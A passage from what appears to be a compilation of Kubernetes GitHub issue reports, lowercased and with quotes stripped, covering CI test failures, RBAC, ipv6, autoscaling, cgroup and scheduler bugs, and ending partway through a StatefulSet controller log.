ip:146.148.72.219,ip:10.0.0.1,dns:kubernetes,dns:kubernetes.default,dns:kubernetes.default.svc,dns:kubernetes.default.svc.cluster.local,dns:e2e-scalability-master 16:29:58 +++ logging using fluentd to elasticsearch 16:30:36 created  https://www.googleapis.com/compute/v1/projects/kubernetes-jenkins/zones/us-central1-f/instances/e2e-scalability-master . 16:30:36 name                   zone          machine_type  preemptible internal_ip external_ip    status 16:30:36 e2e-scalability-master us-central1-f n1-standard-4             10.240.0.2  146.148.72.219 running 16:30:55 created  https://www.googleapis.com/compute/v1/projects/kubernetes-jenkins/global/firewalls/e2e-scalability-minion-all . 16:30:56 name                       network         src_ranges    rules                    src_tags target_tags 16:30:56 e2e-scalability-minion-all e2e-scalability 10.245.0.0/16 tcp,udp,icmp,esp,ah,sctp          e2e-scalability-minion 16:30:56 creating minions. 16:30:56 instance template e2e-scalability-minion-template already exists; deleting. 16:30:57 failed to delete existing instance template 16:30:57 2016/03/02 16:30:57 e2e.go:201: error running up: exit status 2 16:30:57 2016/03/02 16:30:57 e2e.go:197: step 'up' finished in 1m30.31788859s 16:30:57  2016/03/02 16:30:57 e2e.go:111: error starting e2e cluster. aborting.

kubelet relies on status update to trigger a pod deletion request to the apiserver. we should test that kubelet reliably send out the deletion request, no matter what state the pod is in.

gpu support, both assigning only to nodes that support gpus & ensuring that we don't overcommit gpus.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r rbac elasticsearch elasticsearch-logging fluentd-elasticsearch \r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.3.395+885ddcc1389bf7\ , gitcommit:\ 885ddcc1389bf744f00e7a5f96fbff5515423022\ , gittreestate:\ clean\ , builddate:\ 2017-05-15t06:32:31z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3\ , gitcommit:\ 0480917b552be33e2dba47386e51decb1a211df6\ , gittreestate:\ clean\ , builddate:\ 2017-05-10t15:38:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : bare metal on premises\r -   os    e.g. from /etc/os-release : ubuntu 16.04.2\r -   kernel    e.g.  uname -a  : linux overmind 4.4.0-77-generic  98-ubuntu smp wed apr 26 08:34:02 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : kubeadm \r -   others  :\r \r   what happened  :\r fluentd and and elasticsearch pods did not start \r \r   what you expected to happen  :\r fluentd and elasticsearch to start \r \r   how to reproduce it    as minimally and precisely as possible :\r enable \ fluentd-elasticsearch\  cluster addon on a cluster with rbac enabled\r \r   anything else we need to know  :\r \r i'm uncertain if these cluster addons are still supported, at least https://kubernetes.io/docs/concepts/cluster-administration/addons/ lists them under deprecated and  44454 mentions that currently there will be no improvements to this addon specifically. still it is completely broken with rbac enabled. \r

is this a bug report or feature request?    choose one :\r bug report\r \r \r   what happened  :\r 4 socket files is left in workspace after we run \ make test\ \r \r   what you expected to happen  :\r the workspace should be clean.\r \r   how to reproduce it    as minimally and precisely as possible :\r $ make test what=k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/generic/registry kube_goflags=\ -v\ \r $ find -type s\r ./staging/src/k8s.io/apiserver/pkg/registry/generic/registry/127.0.0.1:2105731492\r ./staging/src/k8s.io/apiserver/pkg/registry/generic/registry/127.0.0.1:2105831492\r ./staging/src/k8s.io/apiserver/pkg/registry/generic/registry/localhost:8595437375691616229\r ./staging/src/k8s.io/apiserver/pkg/registry/generic/registry/localhost:85954373756916162290\r \r   anything else we need to know  :\r \r

gubernator  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-6-gci-1-7-upgrade-master/41 k8sio-proxy-version-v1-should-proxy-logs-on-node-conformance \r \r  history  https://k8s-testgrid.appspot.com/1.6-1.7-upgrade gke-cvm-gci-upgrade-master&include-filter-by-regex=%5eoverall%24%7c%5c%5bk8s%5c.io%5c%5d%5c%20proxy%5c%20version%5c%20v1%5c%20should%5c%20proxy%5c%20logs%5c%20on%5c%20node%5c%20%5c%5bconformance%5c%5d \r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:120\r jun 23 16:43:30.251: all nodes should be ready after test, not ready nodes: \ , gke-bootstrap-e2e-default-pool-2dfacab3-s32n\ \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:335from junit_01.xml\r    \r \r /assign @liggitt \r

forked from https://github.com/kubernetes/kubernetes/issues/59266\r \r @kubernetes/sig-api-machinery-bugs \r @kubernetes/sig-scheduling-bugs

please see : \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-local-e2e/322\r \r fails just after this line:\r    \r step: make sure all daemon pods have correct template generation 999\r    \r \r failure was introduced in:\r https://github.com/kubernetes/kubernetes/pull/59883\r \r but this was not noticed until it started running in  conformance  tests.\r \r you can see the same problem in other dashboards too:\r https://k8s-testgrid.appspot.com/sig-release-master-upgrade\r https://k8s-testgrid.appspot.com/canonical-ubuntudev-k8sdev\r

\r  /area ipv6\r  \r   what happened  :\r \r even though  kube-proxy  assumes ipv6 operation it initiates the nodeip to the ipv4 localhost address 127.0.0.1 and crashes shortly after;\r \r    \r i0611 16:36:27.921958     216 server_others.go:80  ipv6 bind address  ::1 , assume ipv6 operation\r i0611 16:36:28.730111     216 server_others.go:183  using ipvs proxier.\r w0611 16:36:28.773484     216 server.go:601  failed to retrieve node info: get http:// 2000::1 :8080/api/v1/nodes/vm-003: dial tcp  2000::1 :8080: connect: connection refused\r w0611 16:36:28.793311     216 proxier.go:289  invalid nodeip, initializing kube-proxy with 127.0.0.1 as nodeip\r error: unable to create proxier: clustercidr fd00:3000::/104 has incorrect ip version: expect isipv6=false\r    \r \r   what you expected to happen  :\r \r initialize nodeip with an ipv6 address and continue.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r start  kube-proxy  on a ipv6-only cluster before the  kube-apiserver  is ready.\r \r   anything else we need to know?  :\r \r in proxy-mode=iptables it works because the initialization  differs  https://github.com/kubernetes/kubernetes/blob/e6f64d0a79243c834babda494151fc5d66582240/cmd/kube-proxy/app/server_others.go l141-l144 \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:26:04z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.3-dirty\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ dirty\ , builddate:\ 2018-05-31t11:08:53z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r   kvm/qemu on ubuntu 16.04.4 lts\r - os  e.g. from /etc/os-release :\r   own busybox system\r - kernel  e.g.  uname -a  :\r   linux vm-003 4.16.2  2 smp mon jun 11 16:02:46 cest 2018 x86_64 gnu/linux\r - install tools:\r   none\r - others:\r

when scaling a deployment, from say 2 replicas to 10.  cluster autoscaler doesn't appear to look at the sum of the resources requested  8x cpu+ram requests  to calculate the number of nodes to add, it instead looks at each pod individually and creates far more nodes than needed:\r \r    \r gocd-admin-agent-e50a0cf3-b063-4901-98a0-c81260451c26   2/2       running   0          1m\r gocd-app-agents-776445bc9b-4rlf4                        2/2       running   0          33m\r gocd-app-agents-776445bc9b-78p4r                        2/2       running   0          33m\r gocd-app-agents-776445bc9b-8mt8h                        2/2       running   0          32m\r gocd-app-agents-776445bc9b-9l4ql                        2/2       running   0          32m\r gocd-app-agents-776445bc9b-cssnc                        2/2       running   0          32m\r gocd-app-agents-776445bc9b-ctwrz                        2/2       running   0          29m\r gocd-app-agents-776445bc9b-k7sgf                        2/2       running   0          33m\r gocd-app-agents-776445bc9b-khg85                        2/2       running   0          33m\r gocd-app-agents-776445bc9b-sq8sm                        2/2       running   0          33m\r gocd-app-agents-776445bc9b-wtcp2                        2/2       running   1          33m\r    \r \r and our nodes:\r    \r gke-infrastructure-cicd-core-pool-b901a36e-jkkc     ready     <none>    57m       v1.10.6-gke.1\r gke-infrastructure-cicd-custom-pool-b1594584-992p   ready     <none>    9h        v1.10.6-gke.1\r gke-infrastructure-cicd-custom-pool-b1594584-bs3s   ready     <none>    8h        v1.10.6-gke.1\r gke-infrastructure-cicd-custom-pool-b1594584-fx7w   ready     <none>    5h        v1.10.6-gke.1\r gke-infrastructure-cicd-custom-pool-b1594584-p2gv   ready     <none>    50m       v1.10.6-gke.1\r gke-infrastructure-cicd-custom-pool-b1594584-qdhr   ready     <none>    4h        v1.10.6-gke.1\r gke-infrastructure-cicd-custom-pool-c93b5dfa-jlxn   ready     <none>    32m       v1.10.6-gke.1\r gke-infrastructure-cicd-custom-pool-cc6fc6a2-0xgw   ready     <none>    1h        v1.10.6-gke.1\r gke-infrastructure-cicd-custom-pool-cc6fc6a2-4l25   ready     <none>    21m       v1.10.6-gke.1\r gke-infrastructure-cicd-custom-pool-cc6fc6a2-6lkf   ready     <none>    33m       v1.10.6-gke.1\r gke-infrastructure-cicd-custom-pool-cc6fc6a2-mlrh   ready     <none>    33m       v1.10.6-gke.1\r gke-infrastructure-cicd-custom-pool-cc6fc6a2-qwxj   ready     <none>    38m       v1.10.6-gke.1\r    \r \r it's actually the case that 3 agents can fit on each node, so this is hugely over provisioned.\r \r scaling the deployment up gradually  one or two at a time  resolves this.

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  : various upgrade and downgrade jobs\r \r   which test s  are failing  :  sig-storage   serial  csi volumes csi plugin test using csi driver: gcepd  serial  should provision storage\r \r   since when has it been failing  : \r \r it's been a flake as long as we have history  to september , although it became more frequent around 10/3: https://storage.googleapis.com/k8s-gubernator/triage/index.html?date=2018-10-15&test=csi%20volumes%20csi%20plugin%20test%20using%20csi%20driver%3a%20gcepd\r \r   testgrid link  :  \r \r most recent: https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-master-new-downgrade-cluster\r \r but it's occurred across a whole suite of jobs\r \r   reason for failure  :\r \r https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-downgrade-cluster/1109\r \r looks like the gce storage is simply not provisioning: \r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/csi_volumes.go:112\r expected error:\r     < errors.errorstring | 0xc42238e560>: {\r         s: \ gave up after waiting 15m0s for pod \\\ pvc-volume-tester-ccrzq\\\  to be \\\ success or failure\\\ \ ,\r     }\r     gave up after waiting 15m0s for pod \ pvc-volume-tester-ccrzq\  to be \ success or failure\ \r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_provisioning.go:1256\r \t\t\t\r    \r \r ... which suggests that this is a problem with gce and not with storage, but i'm going to tag everyone here just in case.\r \r   anything else we need to know  :\r \r right now, this is not a blocker for 1.13, but if it happens as frequently as it did this morning it could be.\r \r <!-- do not edit below this line -->\r  /    attn:\r @aishsundar @spiffxp @msau42 @saad-ali @kubernetes/sig-gcp-bugs

we need a test case that will verify that nodeport works on all nodes in the cluster for a windows application.\r \r here's an example manual test:\r \r run  kubectl create -f  with this yaml\r \r    yaml\r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: iis-2019\r   labels:\r     app: iis-2019\r spec:\r   replicas: 1\r   template:\r     metadata:\r       name: iis-2019\r       labels:\r         app: iis-2019\r     spec:\r       containers:\r       - name: iis\r         image: mcr.microsoft.com/windows/servercore/iis:windowsservercore-ltsc2019\r         resources:\r           limits:\r             cpu: 1\r             memory: 800m\r           requests:\r             cpu: .1\r             memory: 300m\r         ports:\r           - containerport: 80\r       nodeselector:\r         \ beta.kubernetes.io/os\ : windows\r   selector:\r     matchlabels:\r       app: iis-2019\r ---\r apiversion: v1\r kind: service\r metadata:\r   name: iis\r spec:\r   type: nodeport\r   ports:\r   - protocol: tcp\r     port: 80\r   selector:\r     app: iis-2019\r    \r \r once the pod is running, get the nodeport and make sure it's accessible on each node ip for that port.\r \r \r    \r $ kubectl get svc\r name         type        cluster-ip   external-ip   port s         age\r iis          nodeport    10.0.88.64   <none>        80:30220/tcp   10m\r kubernetes   clusterip   10.0.0.1     <none>        443/tcp        10d\r azureuser@k8s-master-30163644-0:~$ kubectl get node -o wide\r name                        status   roles   age   version   internal-ip   external-ip   os-image                    kernel-version   container-runtime\r 3016k8s010                  ready    agent   10d   v1.13.2   10.240.0.35   <none>        windows server datacenter   10.0.17763.253\r                             docker://18.9.0\r 3016k8s011                  ready   agent   10d   v1.13.2   10.240.0.96   <none>   windows server datacenter   10.0.17763.253\r                             docker://18.9.0\r k8s-linuxpool1-30163644-0   ready   agent    10d   v1.13.2   10.240.0.4     <none>   ubuntu 16.04.5 lts   4.15.0-1036-azure   docker://3.0.1\r k8s-linuxpool1-30163644-1   ready   agent    10d   v1.13.2   10.240.0.127   <none>   ubuntu 16.04.5 lts   4.15.0-1036-azure   docker://3.0.1\r k8s-master-30163644-0       ready   master   10d   v1.13.2   10.255.255.5   <none>   ubuntu 16.04.5 lts   4.15.0-1036-azure   docker://3.0.1\r azureuser@k8s-master-30163644-0:~$ curl -s -o /dev/null -w \ %{http_code}\  http://10.240.0.35:30220\r 200azureuser@k8s-master-30163644-0:~$ curl -s -o /dev/null -w \ %{http_code}\  http://10.240.0.96:30220\r 200azureuser@k8s-master-30163644-0:~$ curl -s -o /dev/null -w \ %{http_code}\  http://10.240.0.4:30220\r 200azureuser@k8s-master-30163644-0:~$ curl -s -o /dev/null -w \ %{http_code}\  http://10.240.0.127:30220\r 200\r    \r \r /good-first-issue\r  

what happened  :\r we're updating the cluster from 1.12.1 to 1.14.3. when kubelet goes up for the first time, the following warnings related to cgroups pids controller appear:\r \r  kubelet 4854 : w0612 qos_container_manager_linux.go:139   containermanager  failed to reserve qos requests: failed to set supported cgroup subsystems for cgroup  kubepods burstable : failed to find subsystem mount for required subsystem: pids \r \r if we restart, kubelet returns fatal error with a similar motive:\r \r  kubelet 1502 : f0614 19:19:17.066475    1502 kubelet.go:1359  failed to start containermanager failed to initialize top level qos containers: failed to update top level burstable qos cgroup: failed to set supported cgroup subsystems for cgroup  kubepods burstable : failed to find subsystem mount for required subsystem: pids \r \r it makes sense since our kernel version doesn't support cgroups pids controller, then we disabled cgroups pids related feature gates:  supportpodpidslimit  and  supportnodepidslimit  expecting that kubelet would not require pids subsystems, but the behavior persisted.\r \r looking at  cgroup_manager_linux.go:329  https://github.com/kubernetes/kubernetes/blob/5e53fd6bc17c0dec8434817e69b04a25d8ae0ff0/pkg/kubelet/cm/cgroup_manager_linux.go l329 , it looks like pids subsystem will always be required even with feature gates disabled. this change was introduced with  supportnodepidslimit  in 2597a1d97ef4d8f54b1ca661453e32794b756909.\r \r \r   what you expected to happen  :\r we expected that the cgroup pids subsystem to don't be required if feature gates related to pids are disabled.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r try to start any kubelet in 1.14.x using a kernel older than 4.3.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.3\ , gitcommit:\ 5e53fd6bc17c0dec8434817e69b04a25d8ae0ff0\ , gittreestate:\ clean\ , builddate:\ 2019-06-06t01:44:30z\ , goversion:\ go1.12.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - os  e.g:  cat /etc/os-release  :\r oracle linux server release 7.6\r - kernel  e.g.  uname -a  :\r linux 4.1.12-124.26.12.el7uek.x86_64  2 smp wed may 8 22:25:03 pdt 2019 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r puppet

kubectl fails to create deployment resource and emits the following:  error validating \ /examples/extensions/deployment.yaml\ : error validating data: couldn't find type: v1beta1.deployment; if you choose to ignore these errors, turn validation off with --validate=false   i guess that is because deployment is disabled by default.  i could be wrong, but i think this used to work before. not sure if we changed some validation code recently.  steps i did:    runtime_config=extensions/v1beta1/deployments=true ./hack/local-up-cluster.sh ./cluster/kubectl.sh create -f examples/extensions/deployment.yaml    cc @kubernetes/sig-api-machinery @kubernetes/goog-csi @janetkuo

the current incarnation of ubernetes lite makes the application tolerant to zone outages but does not make the kubernetes control plane tolerant to zone outages since it doesn't use  zone-distributed  ha master. for a short or medium duration zone outage this is totally fine because the containers will continue running even if the master goes away, but if the zone where the master was running goes out for a long time, eventually there will be problems  since pods from failed nodes won't reschedule, users can't update the containers, etc. .   it would be good to do a zone distributed ha master for ubernetes lite, with at least one etcd replica per zone, at least one api server per zone, and the master-elected components like scheduler and controller-manager distributed across the zones.  cc/ @quinton-hoole @justinsb   ref/  17059

currently it set to ifnotpresent that causes troubles during development - you have to either create a new image every time you push a new version or manually remove the old one from all cluster nodes. otherwise the old version is run, despite the new version available.   also, any mis-push during release process can be quite problematic.  cc: @quinton-hoole @nikhiljindal @kubernetes/sig-cluster-federation

test has been  failing 100%  https://k8s-testgrid.appspot.com/google-1.4-1.5-upgrade gce-cvm-1.4-cvm-1.5-upgrade-cluster&width=20&sort-by-failures=&include-filter-by-regex=should%20ensure%20that%20critical%20pod%20is%20scheduled%20in%20case%20there%20is%20no%20resources%20available  of the time in  ci-kubernetes-e2e-gce-1.4-1.5-upgrade-cluster  https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.4-1.5-upgrade-cluster/ . sample failure:  link  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.4-1.5-upgrade-cluster/4 \r \r based on  spreadsheet  https://docs.google.com/spreadsheets/d/1sazqywe--0fvn1piuktw9jwmcxnz6tqim1mrjdiltm4/edit gid=1403603610&vpid=a1  tracking 1.5 upgrade test failures created by @krousey.

daemonset controller being its own scheduler has caused lots of confusion. once we have tolerations and preemption, i think we won't need daemonset-specific scheduling logic. see also  42001.\r \r cc/ @kubernetes/sig-scheduling-misc @kubernetes/sig-cluster-lifecycle-misc \r

people writing webhook admission controllers needs import the types.\r \r @lavalamp @whitlockjc wdyt?

is this a bug report or feature request?  :\r  \r \r   what happened  :\r $kubectl create clusterrole impersonator --resource=users,groups,serviceaccounts --verb=impersonate\r error: can not perform 'impersonate' on 'serviceaccounts' in group ''\r   what you expected to happen  :\r cli users should be able to impersonate a serviceaccount.\r \r   anything else we need to know?  :\r now we can impersonate four kinds of  resources:\r users\r groups\r serviceaccounts\r authentication.k8s.io/userextras\r \r - kubernetes version  use  kubectl version  : community master\r \r

 @kubernetes/test-infra-maintainers \r @kubernetes/kubernetes-release-managers \r \r the gke serial and gci cke serial e2e tests are experiencing startup failures:\r \r https://k8s-testgrid.appspot.com/release-master-blocking gke-serial\r https://k8s-testgrid.appspot.com/release-master-blocking gci-gke-serial\r \r sorry if this is already being tracked.

some of the proxy/connect calls like put, patch, post, delete has no body parameter. this make calling those connect/proxy calls impossible in generated clients. look at https://github.com/kubernetes-incubator/client-python/issues/325\r \r 

\r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r the local-volume bootstrapper/provisioner configuration format changed in\r kubernetes-incubator/external-storage 352, and its related e2e tests will fail when the provisioner & bootstrapper images are updated to v2.0.0.\r \r   what you expected to happen  :\r \r i'd expect the e2e tests to continue to work properly with the new version of the provisioner and boostrapper.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r update local-volume provisioner and boostrapper images to v2.0.0, and then the provisioner e2e test will fail.\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r   what happened  :\r when trying to use the scheduler policy on a configmap the  kube-scheduler  will not work giving the following error message:\r    \r f0319 19:21:47.831522       1 helpers.go:119  error: couldn't get policy config map /scheduler-policy: an empty namespace may not be set when a resource name is provided\r    \r \r as per the documentation  https://kubernetes.io/docs/reference/generated/kube-scheduler/   kube-scheduler  should work without the need to a namespace being passed:\r    \r       --policy-configmap-namespace string        the namespace where policy configmap is located. the system namespace will be used if this is not provided or is empty.\r    \r \r here is the command that i'm using to start the scheduler:\r    \r   - command:\r     - /bin/sh\r     - -c\r     - mkfifo /tmp/pipe;  tee -a /var/log/kube-scheduler.log < /tmp/pipe &   ; exec\r       /usr/local/bin/kube-scheduler --kubeconfig=/var/lib/kube-scheduler/kubeconfig\r       --leader-elect=true --policy-configmap=scheduler-policy --v=2 > /tmp/pipe 2>&1\r     image: gcr.io/google_containers/kube-scheduler:v1.9.3\r    \r \r and here is the configmap that i had on this cluster:\r    \r name:         scheduler-policy\r namespace:    kube-system\r labels:       <none>\r annotations:  <none>\r \r data\r ====\r policy:\r ----\r kind: policy\r apiversion: v1\r predicates:\r - name: matchinterpodaffinity\r - name: nodiskconflict\r - name: checknodediskpressure\r - name: maxebsvolumecount\r - name: maxgcepdvolumecount\r - name: generalpredicates\r - name: podtoleratesnodetaints\r - name: checknodememorypressure\r - name: novolumezoneconflict\r priorities:\r - name: balancedresourceallocation\r   weight: 1\r - name: nodepreferavoidpodspriority\r   weight: 1\r - name: nodeaffinitypriority\r   weight: 1\r - name: tainttolerationpriority\r   weight: 1\r - name: selectorspreadpriority\r   weight: 10\r - name: interpodaffinitypriority\r   weight: 1\r - name: leastrequestedpriority\r   weight: 1\r - name: servicespreadingpriority\r   weight: 4\r    \r \r speaking on the  sig-scheduling slack channel i was informed that on 1.9 the namespace flag become mandatory making this issue a simple documentation fix.\r \r   what you expected to happen  :\r i was expecting that the  kube-scheduler  was to check for the config map into the  kube-system  namespace by default if the flag  --policy-configmap-namespace  wasn't specified.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create the config map and set the flag  --policy-configmap  accordingly without setting the  --policy-configmap-namespace  flag.\r \r   anything else we need to know?  :\r you guys rocks! o/\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.3\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : debian gnu/linux 8  jessie \r - kernel  e.g.  uname -a  : linux ip-10-250-1-201 4.4.115-k8s  1 smp thu feb 8 15:37:40 utc 2018 x86_64 gnu/linux\r - install tools: kops\r - others:\r

failing job\r      sig-release-master-upgrade gke-gci-1.10-gci-master-upgrade-cluster-new  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-1.10-gci-master-upgrade-cluster-new \r      sig-release-master-upgrade gke-gci-1.10-gci-master-upgrade-cluster-parallel  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-1.10-gci-master-upgrade-cluster-parallel \r \r    failing test\r      ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-new  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-new/1940 \r      ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel/4661 \r \r    triage results\r      ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-new  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-new&test=%5c%5bsig%5c-cluster%5c-lifecycle%5c%5d%5c%20upgrade%5c%20%5c%5bfeature%3aupgrade%5c%5d%5c%20cluster%5c%20upgrade%5c%20should%5c%20maintain%5c%20a%5c%20functioning%5c%20cluster%5c%20%5c%5bfeature%3aclusterupgrade%5c%5d \r      ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel&test=%5c%5bsig%5c-cluster%5c-lifecycle%5c%5d%5c%20upgrade%5c%20%5c%5bfeature%3aupgrade%5c%5d%5c%20cluster%5c%20upgrade%5c%20should%5c%20maintain%5c%20a%5c%20functioning%5c%20cluster%5c%20%5c%5bfeature%3aclusterupgrade%5c%5d \r \r this test is currently failing in sig-release master-upgrade suite, this could potentially become release blocking if not addressed sooner. @timothysc    can you please triage this failure?\r \r  / /  @kubernetes/sig-cluster-lifecycle-bugs \r \r cc @jberkus @tpepper \r \r /assign @timothysc  \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r we built a large cluster about 40 nodes  on aws using kops and create 1000 pods directly do not use rc , we found a strange appearance:\r with 3 nodes and creating 70 pods, it took about 1~2 seconds to startup the process in each pod, everything works well;\r with 40 nodes and creating 1000 pods, in the beginning of creating, the time to startup the process is same as above, but with the grows of the number of pods, it took about 20~40 seconds to startup the process in the pod, this is the problem.\r \r   what you expected to happen  :\r even through in a large cluster, the time to run the process in a pod for all same pods is similar.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. built cluster with 40 nodes.\r 2. create 1000 same pods directly name is different , all pods request  and limit 300m cpu and 300m memory, all of them run the same process.\r \r   anything else we need to know?  :\r the time of each pod from creating to running is fast, the problem is the time to startup the process in the pod.\r we observed the master and node performance with dashboard and aws cloudwatch,\r the usage of cpu and memory of master is under 50%,\r the usage of cpu and memory of nodes is under 60%, the max value is at the moment to startup the process.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    1.9.2\r - cloud provider or hardware configuration:\r    aws,\r    master: m5.xlarge\r    nodes: c5.2xlarge\r - os  e.g. from /etc/os-release :\r    pretty_name=\ debian gnu/linux 9  stretch \ \r    name=\ debian gnu/linux\ \r    version_id=\ 9\ \r    version=\ 9  stretch \ \r    id=debian\r - kernel  e.g.  uname -a  :\r    4.9.0-6-amd64  1 smp debian 4.9.82-1+deb9u3  2018-03-02  x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r pods owned by statefulset keep creating and terminating repeatedly.  \r take pod   apacheds-master-wngmw-0   for example,  \r    \r  root@tdc-tester01 ~   kubectl -n tosshengfen get po\r name                                     ready     status             restarts   age\r apacheds-master-wngmw-0                  1/1       terminating        0          14s\r apacheds-slave-1-wngmw-0                 0/1       terminating        0          6s\r apacheds-slave-2-wngmw-0                 0/1       terminating        0          22s\r    \r \r related controller-manager logs shows:\r    \r i1018 16:35:40.226305       1 stateful_set.go:235  pod apacheds-master-wngmw-0 updated, objectmeta {name:apacheds-master-wngmw-0 generatename:apacheds-master-wngmw- namespace:tosshengfen selflink:/api/v1/namespaces/tosshengfen/pods/apacheds-master-wngmw-0 uid:b088894c-d2b0-11e8-99b0-ac1f6b83df5c resourceversion:32698320 generation:0 creationtimestamp:2018-10-18 16:34:55 +0800 cst deletiontimestamp:<nil> deletiongraceperiodseconds:<nil> labels:map transwarp.install:wngmw transwarp.name:apacheds-master controller-revision-hash:apacheds-master-wngmw-78c894955d release:guardian-tosshengfen statefulset.kubernetes.io/pod-name:apacheds-master-wngmw-0  annotations:map cni.networks:overlay tos.network.staticip:true transwarp.replicaid:0 transwarp/configmap.md5:e29740fef2556260bd4d8a8577ae94a39eb7da6c3409a7ceb0012aa8248b0288  ownerreferences: {apiversion:apps/v1beta1 kind:statefulset name:apacheds-master-wngmw uid:d08f47f9-cc6e-11e8-92a1-ac1f6b83dd66 controller:0xc64a4e941c blockownerdeletion:0xc64a4e941d}  initializers:nil finalizers:   clustername:} -> {name:apacheds-master-wngmw-0 generatename:apacheds-master-wngmw- namespace:tosshengfen selflink:/api/v1/namespaces/tosshengfen/pods/apacheds-master-wngmw-0 uid:b088894c-d2b0-11e8-99b0-ac1f6b83df5c resourceversion:32699198 generation:0 creationtimestamp:2018-10-18 16:34:55 +0800 cst deletiontimestamp:<nil> deletiongraceperiodseconds:<nil> labels:map controller-revision-hash:apacheds-master-wngmw-78c894955d 